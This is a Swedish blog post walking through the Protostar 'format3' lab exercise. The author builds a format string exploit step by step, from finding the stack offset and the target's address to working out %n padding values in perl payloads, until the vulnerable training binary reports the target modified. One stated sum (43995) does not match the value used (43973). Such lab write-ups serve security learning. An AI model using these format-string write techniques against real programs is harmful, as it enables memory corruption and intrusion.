Format 3 och Protostar

Format3

Format 3 övningen för protostar.

Så största skillnaden är att nu ska target vara mer än 1 byte.
Och det ska vara
if(target == 0x01025544) {

Ok för att leta upp vart vi ska skriva
user@protostar:/opt/protostar/bin$ for i in {1..150} ; do echo ”AAAA%$i\$x” | ./format3 ; echo -n ”$i” ; done |grep 4141
11AAAA41414141
Ok så 12’e dword enheten hittade vi vår 4444.

Så då vet vi det då :)
Så nu är frågan om vi ska göra 1 bytes överskrivningar eller 2 byte överskrivningar. Och eftersom 2 byte är mindre

skrivande så gör jag 2 byte överskrivningar 😉

user@protostar:/opt/protostar/bin$ objdump -t format3 |grep target
080496f4 g O .bss 00000004 target
user@protostar:/opt/protostar/bin$

Target finns då på 080496f4
Och värdet ska vara 0x01025544

Vi testar att skriva till det med två skrivingarn och ser vad värdet är.

echo `perl -e ‘print ”\xf4\x96\x04\x08″ . ”\xf6\x96\x04\x08″ . ”%12\\$n%13\\$n”‘` | ./format3

user@protostar:/opt/protostar/bin$ echo `perl -e ‘print ”\xf4\x96\x04\x08″ . ”\xf6\x96\x04\x08″ . ”%12\\$n%13\\$n”‘` |

./format3
target is 00080008 :(
user@protostar:/opt/protostar/bin$
Ok då behöver vi ändra den första

Så första skrivningen ska vara 5544 och är idag 0008

Hex 5544 = 21828 dec

0008 = 8
så 21828 – 8 = 21820
så då slänger iväg
echo `perl -e ‘print ”\xf4\x96\x04\x08″ . ”\xf6\x96\x04\x08″ . ”%21820x%12\\$n%13\\$n”‘` | ./format3

Får tillbaka

target is 55445544 :(
user@protostar:/opt/protostar/bin$
Ok då behöver göra om 5544 till 0102 och eftersom vi redan skrivit mer än 0102 som är 258 dec så behöver vi skriv in mer

för en integer på 2 byte att rulla över. Och max en unsigned 2 byte integer är 65535
Så vi testar att köra
65535 – 21820 + 258 = 43995 så får vi se vad det blir :)
echo `perl -e ‘print ”\xf4\x96\x04\x08″ . ”\xf6\x96\x04\x08″ . ”%21820x%12\\$n%43973x%13\\$n”‘` | ./format3
bffff5d0
target is 01095544 :(
Sen har vi ju redan skrivit lite bytes så då får vi ändra igen :)

echo `perl -e ‘print ”\xf4\x96\x04\x08″ . ”\xf6\x96\x04\x08″ . ”%21820x%12\\$n%43966x%13\\$n”‘` | ./format3

bffff5d0
you have modified the target :)
Så nu fungerade det :)

Ok då ska vi påbörja format4

Det här inlägget postades i Okategoriserade. Bokmärk permalänken.

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *


*

Följande HTML-taggar och attribut är tillåtna: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>